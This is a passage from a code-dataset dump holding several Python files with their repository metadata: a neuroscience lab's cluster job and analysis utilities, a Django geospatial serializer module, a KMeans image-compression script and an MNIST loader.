'exclude_diff_b':20,\n 'exclude_diff_t':10,\n 'fr_cutoff':50,\n 'save':True,\n 'start': None,\n 'end': None,\n 'shuffle':True,\n 'subsample':False,\n 'subsample_factor':None,\n 'subsample_iter':None, \n 'subsample_replace':False\n}\n\ndef run_testing_chpc(paths, params, JOBDIR, jobnum=0, jobname = '',animal = '', probe = '', rerun = True, redo = False):\n \n\n tic = time.time()\n basejobdir = JOBDIR[:JOBDIR.rfind('/')]\n\n errcols = ['animal', 'probe', 'date', 'time_frame', 'block_num', 'scored', 'file', 'error', 'now', 'when']\n errf = basejobdir+'/errored.pkl'\n\n\n status_file = f'{JOBDIR}/STATUS_{jobname}.txt'\n csv_file = f'{JOBDIR}/results_{jobname}.csv'\n pkl_file = f'{JOBDIR}/results_{jobname}.pkl'\n\n saw.write_csv_header(csv_file)\n\n all_objs, errors = saw.lilo_and_stitch(paths, params, save = params['save'], timeout=params['timeout'])\n\n results = []\n for o in all_objs:\n appended = write_to_pkl_chpc(o, pkl_file)\n appended2 = write_to_files_chpc(o, csv_file)\n results.append(appended)\n\n if len(all_objs) > 0:\n cols = saw.get_cols()\n df = pd.DataFrame(results, columns = cols)\n \n group = df.groupby(['animal', 'probe', 'date', 'scored'])\n strs = []\n for i, row in group:\n if params['flag'] == 1:\n num_passed = 0\n else:\n num_passed = row[row[\"passed\"]==True].count()['passed']\n total_num = row.count()['dcc']\n avg_dcc = row.mean()['dcc']\n animal = row['animal'].to_numpy()[0]\n date = row['date'].to_numpy()[0]\n probe = row['probe'].to_numpy()[0]\n scored = row['scored'].to_numpy()[0]\n age = row['age'].astype(str).to_numpy()[0] # check this line\n s = f'{str(animal)} -- {probe} -- {date} -- {scored} -- {age}-- passed {num_passed}/{total_num} -- avg dcc {avg_dcc}'\n strs.append(s)\n toc = time.time()\n now = dt.now()\n with open(status_file, 'a+') as f:\n f.write(f'\\n{now.strftime(\"%d/%m/%Y %H:%M:%S\")} ------------ \\n')\n f.write(f'{jobnum} PATHS DONE - of this job\\n')\n f.write(f'{(toc-tic)/60/60} hours to complete these paths\\n')\n if len(all_objs) > 0: \n for s in strs:\n f.write(f'{s}\\n')\n if len(errors) > 0:\n f.write('\\tERRORS:\\n')\n for e in errors:\n f.write(f'\\t{e[0]} --- {e[1]} --- {e[2]} --- {e[3]} --- {e[4]} --- {e[5]}: {e[-1]}\\n')\n temp = pd.DataFrame([e], columns = errcols)\n errdf = pd.read_pickle(errf)\n errdf = errdf.append(temp)\n errdf.to_pickle(errf)\n return 0\n\n\ndef smol_2_big(animal):\n if len(animal)==5:\n a = animal[:3].upper() + '000' + animal[3:]\n else:\n a = animal[:3].upper() + '00' + animal[3:]\n return a\n\ndef get_all_paths(animal):\n all_paths = sorted(glob.glob(f'/scratch/khengen_lab/crit_sahara/DATA/media/HlabShare/Clustering_Data/{animal}*/*/*/*/co/*neurons_group0.npy'))\n all_paths = [p for p in all_paths if 'block' not in p]\n print(f'total num paths: {len(all_paths)}', flush=True)\n all_animals = np.unique([saw.get_info_from_path(p)[0] for p in all_paths])\n print(f'total num animals: {len(all_animals)}', flush=True)\n allpaths = []\n for animal in all_animals:\n probe = saw.get_probe(animal, region = 'CA1')\n geno = saw.get_genotype(animal)\n if geno == 'app_ps1' or (len(saw.get_regions(animal))>=4):\n a = smol_2_big(animal)\n animal_paths = sorted([p for p in all_paths if a in p])\n print(f'{animal}: {len(animal_paths)}')\n allpaths.append(animal_paths)\n elif probe != -1:\n a = smol_2_big(animal)\n animal_paths = sorted([p for p in all_paths if a in p and probe in p])\n print(f'{animal}: {len(animal_paths)}')\n allpaths.append(animal_paths)\n \n allpaths = np.concatenate(allpaths)\n return allpaths\n\ndef get_rand_subset(per_animal = 2):\n paths = []\n allpaths = get_all_paths('')\n all_animals = np.unique([saw.get_info_from_path(p)[0] for p in allpaths])\n for animal in all_animals:\n probe = saw.get_probe(animal, region = 'CA1')\n if probe != -1:\n a = smol_2_big(animal)\n animal_paths = np.sort([p for p in allpaths if a in p and probe in p])\n rand = np.random.randint(low=0, high = len(animal_paths), size=per_animal)\n ps = animal_paths[rand]\n paths.append(ps)\n paths = np.concatenate(paths)\n return paths\n \n\ndef make_chpc_crit_jobs(paths_per_job, jobname, total_jobs=None, paths = None, animal = '', resubmit = False):\n BASE = '/scratch/khengen_lab/crit_sahara/'\n print(f'base dir: ', BASE)\n\n if paths is None:\n paths = get_all_paths(animal)\n\n all_animals = np.unique([saw.get_info_from_path(p)[0] for p in paths])\n pathcount = 0\n jobcount = 0\n finalpaths = []\n for animal in all_animals:\n a = smol_2_big(animal)\n animal_paths = [p for p in paths if a in p]\n print(f'{animal}: {len(animal_paths)}')\n bins = np.arange(0, len(animal_paths), paths_per_job)\n for i, b in enumerate(bins):\n if total_jobs is not None and jobcount > total_jobs:\n print('Killing this, jobnum reached')\n break\n os.chdir(BASE)\n if i == len(bins)-1:\n these_paths = animal_paths[b:]\n else:\n these_paths = animal_paths[b:b+paths_per_job]\n if resubmit:\n newjobdir = os.path.join(BASE, 'JOBS', 'RERUN', jobname, f'{animal}_job_{i}')\n else:\n newjobdir = os.path.join(BASE, 'JOBS', jobname, f'{animal}_job_{i}')\n print('newdir: ', newjobdir)\n if not os.path.exists(newjobdir):\n os.makedirs(newjobdir)\n shutil.copyfile(BASE+f'qsub_criticality_chpc_{jobname}.sh', newjobdir+f'/qsub_criticality_chpc_{jobname}.sh')\n shutil.copyfile(BASE+f'criticality_script_{jobname}.py', newjobdir+f'/criticality_script_{jobname}.py')\n \n os.chdir(newjobdir)\n with open(f'qsub_criticality_chpc_{jobname}.sh', 'r') as f:\n shellfile = f.read()\n shellfile = shellfile.replace('REPLACEJOBNAME', f'{animal}_job_{i}_{jobname}')\n shellfile = shellfile.replace('REPLACEBASE', newjobdir)\n shellfile = shellfile.replace('REPLACEOUT', newjobdir)\n shellfile = shellfile.replace('REPLACECOUNT', str(pathcount))\n shellfile = shellfile.replace('SCRIPTNAME', f'criticality_script_{jobname}.py')\n\n with open(f'qsub_criticality_chpc_{jobname}.sh', 'w') as f:\n f.write(shellfile)\n\n with open('job_paths.txt', 'w') as pathfile:\n for p in these_paths:\n pathfile.write(f'{p}\\n')\n\n pathcount+=paths_per_job\n jobcount+=1\n finalpaths.append(newjobdir)\n os.chdir('/scratch/khengen_lab/crit_sahara')\n write_qsub_header('qsub_tosubmit.sh')\n with open('qsub_tosubmit.sh', 'a+') as sub:\n for f in finalpaths:\n qsub = glob.glob(f+'/qsub*')[0]\n sub.write(f'qsub {qsub}\\n')\n print('qsub_tosubmit.sh written -- done')\n return finalpaths\n\n\ndef resubmit_jobs(efiles):\n\n ef = efiles[0]\n jobname = ef[ef.rfind('_')+1:ef.rfind('.e')]\n print(f'JOBNAME: {jobname} --- FIXING {len(efiles)} JOBS')\n edirs = [f'JOBS/{jobname}/{e[:e.find(jobname)-1]}' for e in efiles]\n\n paths_to_fix = []\n for d in edirs:\n with open(f'{d}/job_paths.txt', 'r') as f:\n for line in f:\n paths_to_fix.append(line.strip())\n print(f'TOTAL PATHS TO RERUN: {len(paths_to_fix)}')\n newdirs = make_chpc_crit_jobs(paths_per_job = 1, jobname = jobname, paths = paths_to_fix, resubmit = True)\n os.chdir('/scratch/khengen_lab/crit_sahara')\n write_qsub_header('qsub_tosubmit.sh')\n with open('qsub_tosubmit.sh', 'a+') as sub:\n for f in newdirs:\n qsub = glob.glob(f+'/qsub*')[0]\n sub.write(f'qsub {qsub}\\n')\n print('qsub_tosubmit.sh written -- done')\n\n\ndef run_linear(paths, params, jobnum, animal = '', probe = '', rerun = True, redo = False):\n paths = saw.get_paths(animal = animal, probe = probe)\n all_objs, errors = lilo_and_stitch(paths, params, rerun = rerun, save = True, verbose=False)\n results = []\n for o in all_objs:\n appended = write_to_files(o, csvloc)\n results.append(appended)\n\n if len(all_objs) > 0:\n df = pd.DataFrame(results, columns = ['animal', 'probe', 'date', 'time_frame', 'block_num', 'scored', 'bday', 'rstart_time', 'age', 'geno', 'p_val_b', 'p_val_t', 'dcc', 'passed', 'kappa_b', 'kappa_t', 'k2b', 'k2t', 'kprob_b', 'kprob_t'])\n group = df.groupby(['animal', 'probe', 'date', 'scored'])\n strs = []\n for i, row in group:\n num_passed = row[row[\"passed\"]].count()['passed']\n total_num = row.count()['passed']\n avg_dcc = row.mean()['dcc']\n animal = row['animal'].to_numpy()[0]\n date = row['date'].to_numpy()[0]\n probe = row['probe'].to_numpy()[0]\n scored = row['scored'].to_numpy()[0]\n s = f'{str(animal)} -- {probe} -- {date} -- {scored} -- passed {num_passed}/{total_num} -- avg dcc {avg_dcc}'\n strs.append(s)\n \n now = dt.now()\n with open(f'/media/HlabShare/clayton_sahara_work/criticality/STATUS_{jobnum}.txt', 'a+') as f:\n f.write(f'\\n{now.strftime(\"%d/%m/%Y %H:%M:%S\")} ------------ \\n')\n f.write(f'{b} PATHS DONE - of this job\\n')\n f.write(f'worker:\\t{mp.current_process()}\\n')\n if len(all_objs) > 0: \n for s in strs:\n f.write(f'{s}\\n')\n if len(errors) > 0:\n f.write('\\tERRORS:\\n')\n for e in errors:\n f.write(f'\\t{e[0]}\\n')\n errored = np.load('/media/HlabShare/clayton_sahara_work/criticality/errored_paths.npy')\n errored = np.append(errored, e[1])\n np.save('/media/HlabShare/clayton_sahara_work/criticality/errored_paths.npy', errored)\n\n return 0\n\n\ndef plot_dist(ax, burst, xmin, alpha, c, shuffled):\n pdf = np.histogram(burst, bins = np.arange(1, np.max(burst) + 2))[0]\n p = pdf / np.sum(pdf)\n p[p==0] = np.nan\n ax.plot(np.arange(1, np.max(burst) + 1), p, color = c, alpha = 0.75, linewidth=1)\n \n if shuffled is not None:\n pdfs = np.histogram(shuffled, bins = np.arange(1, np.max(shuffled) + 2))[0]\n ps = pdfs / np.sum(pdfs)\n ax.plot(np.arange(1, np.max(shuffled) + 1), ps, color = 'gray', alpha = 0.75, linewidth=1)\n \n x = np.arange(xmin, np.max(burst)**0.8)\n y = (np.size(np.where(burst == xmin + 6)[0]) / np.power(xmin + 6, -alpha)) *\\\n np.power(x, -alpha)\n y = y / np.sum(pdf)\n ax.plot(x, y, color = 'red')\n \n ax.set_yscale('log')\n ax.set_xscale('log')\n ax.set_xlim(1,10**4)\n sns.despine()\n\ndef scrub_dists(df, start_idx=0):\n res = []\n for i, row in df.iloc[start_idx:].iterrows():\n if i % 100 == 0:\n print(f'nice - {i}')\n np.save('dist_scores_sofar.npy', res)\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=[5, 5])\n plot_dist(ax, row.burst, row.xmin, row.alpha, 'lightseagreen', None)\n fig.show()\n try:\n score_burst = input(f'{i} rating?: ')\n except Exception:\n score_burst = input(f'{i} --- rating?: ')\n while score_burst not in ['1', '2', '3', '4']:\n score_burst = input(f'{i} --- rating?: ')\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=[5, 5])\n plot_dist(ax, row['T'], row.tmin, row.beta, 'lightcoral', None)\n fig.show()\n try:\n score_t = input(f'{i} rating?: ')\n except Exception:\n score_t = input(f'{i} --- rating?: ')\n while score_t not in ['1', '2', '3', '4']:\n score_t = input(f'{i} --- rating?: ')\n res.append([i, row.animal, row.date, row.time_frame, row.block_num, score_burst, score_t])\n np.save('dist_scores.npy', res)\n return res\n\ndef scrub():\n for r in res:\n if r[5] not in ['1','2','3','4']:\n row = df.iloc[r[0]]\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=[5, 5])\n plot_dist(ax, row.burst, row.xmin, row.alpha, 'lightseagreen', None)\n fig.show()\n try:\n score_burst = input(f'{i} rating?: ')\n except Exception:\n score_burst = input(f'{i} --- rating?: ')\n while score_burst not in ['1', '2', '3', '4']:\n score_burst = input(f'{i} --- rating?: ')\n r[5] = score_burst\n if r[6] not in ['1','2','3','4']:\n row = df.iloc[r[0]]\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=[5, 5])\n plot_dist(ax, row['T'], row.tmin, row.beta, 'lightcoral', None)\n fig.show()\n try:\n score_t = input(f'{i} rating?: ')\n except Exception:\n score_t = input(f'{i} --- rating?: ')\n while score_t not in ['1', '2', '3', '4']:\n score_t = input(f'{i} --- rating?: ')\n r[6] = score_t", "repo_name": "hengenlab/sahara_work", "sub_path": "big_crit_utils.py", "file_name": "big_crit_utils.py", "file_ext": "py", "file_size_in_byte": 16250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sahara_work.write_to_results_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "sahara_work.write_to_results_csv", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 45, "usage_type": "call"}, {"api_name": "sahara_work.write_to_results_pkl", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 56, "usage_type": "call"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "sahara_work.write_csv_header", "line_number": 108, "usage_type": "call"}, {"api_name": "sahara_work.lilo_and_stitch", "line_number": 110, "usage_type": "call"}, {"api_name": "sahara_work.get_cols", "line_number": 119, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 120, "usage_type": "call"}, {"api_name": "time.time", "line_number": 138, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 139, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 139, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 151, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 152, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 169, "usage_type": "call"}, {"api_name": "sahara_work.get_info_from_path", "line_number": 169, "usage_type": "call"}, {"api_name": "sahara_work.get_probe", "line_number": 173, "usage_type": "call"}, {"api_name": "sahara_work.get_genotype", "line_number": 174, "usage_type": "call"}, {"api_name": "sahara_work.get_regions", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 192, "usage_type": "call"}, {"api_name": "sahara_work.get_info_from_path", "line_number": 192, "usage_type": "call"}, {"api_name": "sahara_work.get_probe", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 198, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 212, "usage_type": "call"}, {"api_name": "sahara_work.get_info_from_path", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 220, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 225, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 235, "usage_type": "call"}, {"api_name": "os.path", "line_number": 235, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 236, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 237, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 238, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 240, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 259, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 263, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 283, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 287, "usage_type": "call"}, {"api_name": "sahara_work.get_paths", "line_number": 293, "usage_type": "call"}, {"api_name": "sahara_work.lilo_and_stitch", "line_number": 294, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 301, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 315, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 315, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 337, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 347, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 348, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 361, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 362, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 362, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 371, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 371, "usage_type": "name"}, {"api_name": "numpy.save", "line_number": 381, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 388, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 388, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 400, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 400, "usage_type": "name"}]} +{"seq_id": "38067505031", "text": "from django.core import exceptions\nfrom django.contrib.gis import geos\nfrom django.contrib.gis.db import models\nfrom django.db.models.fields.files import FieldFile\nfrom rest_framework import serializers\nfrom greenwich.srs import SpatialReference\n\nfrom spillway import query, collections as sc\nfrom spillway.fields import GeometryField\nfrom spillway.renderers.gdal import BaseGDALRenderer\n\nserializers.ModelSerializer.serializer_field_mapping.update({\n models.GeometryField: GeometryField,\n models.PointField: GeometryField,\n models.LineStringField: GeometryField,\n models.PolygonField: GeometryField,\n models.MultiPointField: GeometryField,\n models.MultiLineStringField: GeometryField,\n models.MultiPolygonField: GeometryField,\n models.GeometryCollectionField: GeometryField\n})\n\n\nclass GeoModelSerializer(serializers.ModelSerializer):\n \"\"\"Serializer class for GeoModels.\"\"\"\n\n def __new__(cls, *args, **kwargs):\n cls.Meta.geom_field = getattr(cls.Meta, 'geom_field', None)\n return super(GeoModelSerializer, cls).__new__(cls, *args, **kwargs)\n\n def get_fields(self):\n \"\"\"Returns a fields dict for this serializer with a 'geometry' field\n added.\n \"\"\"\n fields = super(GeoModelSerializer, self).get_fields()\n # Set the geometry field name when it's undeclared.\n if not self.Meta.geom_field:\n for name, field in fields.items():\n if isinstance(field, GeometryField):\n self.Meta.geom_field = name\n break\n return fields\n\n\nclass FeatureListSerializer(serializers.ListSerializer):\n \"\"\"Feature list serializer for GeoModels.\"\"\"\n\n @property\n def data(self):\n return super(serializers.ListSerializer, self).data\n\n def to_representation(self, data):\n data = [self.child.to_representation(item) for item in data]\n try:\n srid = query.get_srid(self.instance)\n except AttributeError:\n srid = None\n return sc.FeatureCollection(features=data, crs=srid)\n\n\nclass FeatureSerializer(GeoModelSerializer):\n \"\"\"Feature serializer for GeoModels.\"\"\"\n\n @classmethod\n def many_init(cls, *args, **kwargs):\n kwargs['child'] = cls()\n meta = getattr(cls, 'Meta', None)\n list_serializer_cls = getattr(\n meta, 'list_serializer_cls', FeatureListSerializer)\n return list_serializer_cls(*args, **kwargs)\n\n @property\n def data(self):\n if not hasattr(self, '_data'):\n self._data = super(FeatureSerializer, self).data\n if 'crs' not in self._data:\n try:\n field = self.fields[self.Meta.geom_field]\n srid = getattr(self.instance, field.source).srid\n except (AttributeError, geos.GEOSException):\n pass\n else:\n self._data['crs'] = sc.NamedCRS(srid)\n return self._data\n\n def to_representation(self, instance):\n native = super(FeatureSerializer, self).to_representation(instance)\n geometry = native.pop(self.Meta.geom_field)\n pk = native.pop(instance._meta.pk.name, None)\n return sc.Feature(pk, geometry, native)\n\n def to_internal_value(self, data):\n if sc.has_features(data):\n for feat in data['features']:\n return self.to_internal_value(feat)\n try:\n sref = SpatialReference(data['crs']['properties']['name'])\n except KeyError:\n sref = None\n # Force evaluation of fields property.\n if not self.fields and self.Meta.geom_field is None:\n raise exceptions.FieldDoesNotExist('Geometry field not found')\n record = {self.Meta.geom_field: data.get('geometry')}\n record.update(data.get('properties', {}))\n feature = super(FeatureSerializer, self).to_internal_value(record)\n if feature and sref:\n geom = feature[self.Meta.geom_field]\n geom.srid = sref.srid\n return feature\n\n\nclass RasterModelSerializer(GeoModelSerializer):\n \"\"\"Serializer class for raster models.\"\"\"\n\n def __new__(cls, *args, **kwargs):\n cls.Meta.raster_field = getattr(cls.Meta, 'raster_field', None)\n return super(RasterModelSerializer, cls).__new__(cls, *args, **kwargs)\n\n def get_fields(self):\n fields = super(RasterModelSerializer, self).get_fields()\n if not self.Meta.raster_field:\n for name, field in fields.items():\n if isinstance(field, serializers.FileField):\n self.Meta.raster_field = name\n break\n fieldname = self.Meta.raster_field\n request = self.context.get('request')\n renderer = getattr(request, 'accepted_renderer', None)\n try:\n obj = self.instance[0]\n except (IndexError, TypeError):\n obj = self.instance\n modelfield = getattr(obj, fieldname, None)\n if (isinstance(renderer, BaseGDALRenderer)\n or not isinstance(modelfield, FieldFile)):\n fields[fieldname] = serializers.ReadOnlyField()\n return fields\n", "repo_name": "bkg/django-spillway", "sub_path": "spillway/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 5157, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 62, "dataset": "github-code", "pt": "85", "api": [{"api_name": "rest_framework.serializers.ModelSerializer.serializer_field_mapping.update", "line_number": 12, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 12, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 12, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.GeometryField", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.PointField", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.LineStringField", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.PolygonField", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.MultiPointField", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.MultiLineStringField", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.MultiPolygonField", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.gis.db.models.GeometryCollectionField", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 13, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 14, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 15, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 16, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 17, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 18, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 19, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 24, "usage_type": "name"}, {"api_name": "spillway.fields.GeometryField", "line_number": 39, "usage_type": "argument"}, {"api_name": "rest_framework.serializers.ListSerializer", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 45, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ListSerializer", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 50, "usage_type": "name"}, {"api_name": "spillway.query.get_srid", "line_number": 55, "usage_type": "call"}, {"api_name": "spillway.query", "line_number": 55, "usage_type": "name"}, {"api_name": "spillway.collections.FeatureCollection", "line_number": 58, "usage_type": "call"}, {"api_name": "spillway.collections", "line_number": 58, "usage_type": "name"}, {"api_name": "django.contrib.gis.geos.GEOSException", "line_number": 80, "usage_type": "attribute"}, {"api_name": "django.contrib.gis.geos", "line_number": 80, "usage_type": "name"}, {"api_name": "spillway.collections.NamedCRS", "line_number": 83, "usage_type": "call"}, {"api_name": "spillway.collections", "line_number": 83, "usage_type": "name"}, {"api_name": "spillway.collections.Feature", "line_number": 90, "usage_type": "call"}, {"api_name": "spillway.collections", "line_number": 90, "usage_type": "name"}, {"api_name": "spillway.collections.has_features", "line_number": 93, "usage_type": "call"}, {"api_name": "spillway.collections", "line_number": 93, "usage_type": "name"}, {"api_name": "greenwich.srs.SpatialReference", "line_number": 97, "usage_type": "call"}, {"api_name": "django.core.exceptions.FieldDoesNotExist", "line_number": 102, "usage_type": "call"}, {"api_name": "django.core.exceptions", "line_number": 102, "usage_type": "name"}, {"api_name": "rest_framework.serializers.FileField", "line_number": 123, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 123, "usage_type": "name"}, {"api_name": "spillway.renderers.gdal.BaseGDALRenderer", "line_number": 134, "usage_type": "argument"}, {"api_name": "django.db.models.fields.files.FieldFile", "line_number": 135, "usage_type": "argument"}, {"api_name": "rest_framework.serializers.ReadOnlyField", "line_number": 136, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 136, "usage_type": "name"}]} +{"seq_id": "37781375014", "text": "import numpy as np\nimport PIL.Image as image\nfrom sklearn.cluster import KMeans\nfrom sklearn import preprocessing\nimport matplotlib.image as mpimg\n\ndef load_data(filePatah):\n f = open(filePatah,'rb')\n data = []\n img = image.open(f)\n width,height = img.size\n for x in range(width):\n for y in range (height):\n c1, c2, c3 = img.getpixel((x,y))\n data.append([(c1+1)/256.0,(c2+1)/256.0,(c3+1)/256.0])\n f.close()\n return np.mat(data),width,height\n\nimg,width,height = load_data(r'.\\Python\\geekDA\\weixin.jpg')\nkmeans = KMeans(n_clusters=16)\nlabel = kmeans.fit_predict(img)\nlabel = label.reshape([width,height])\n\n#创建新图像，用来保存图像聚类压缩后的结果\nimg = image.new('RGB',(width,height))\n\nfor x in range(width):\n for y in range(height):\n c1 = kmeans.cluster_centers_[label[x,y],0]\n c2 = kmeans.cluster_centers_[label[x,y],1]\n c3 = kmeans.cluster_centers_[label[x,y],2]\n img.putpixel((x,y),(int(c1*256)-1,int(c2*256)-1,int(c3*256)-1))\nimg.save(r'.\\Python\\geekDA\\weixin_mark_demm.jpg')", "repo_name": "ybgm/Python", "sub_path": "geekDA/kmeans3.py", "file_name": "kmeans3.py", "file_ext": "py", "file_size_in_byte": 1080, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "PIL.Image.open", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.mat", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 25, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 25, "usage_type": "name"}]} +{"seq_id": "44319866556", "text": "from six.moves import urllib\nfrom sklearn.datasets import fetch_mldata\n\ndef load_mnist():\n mnist_path = \"./mnist-original.mat\"\n from scipy.io import loadmat\n mnist_raw = loadmat(mnist_path)\n mnist = {\n \"data\": mnist_raw[\"data\"].T,\n \"target\": mnist_raw[\"label\"][0],\n \"COL_NAMES\": [\"label\", \"data\"],\n \"DESCR\": \"mldata.org dataset: mnist-original\",\n }\n return mnist", "repo_name": "launchcode01dl/mathematics-for-machine-learning-coursera", "sub_path": "course3 - principle component analysis/week4/load_data.py", "file_name": "load_data.py", "file_ext": "py", "file_size_in_byte": 408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 387, 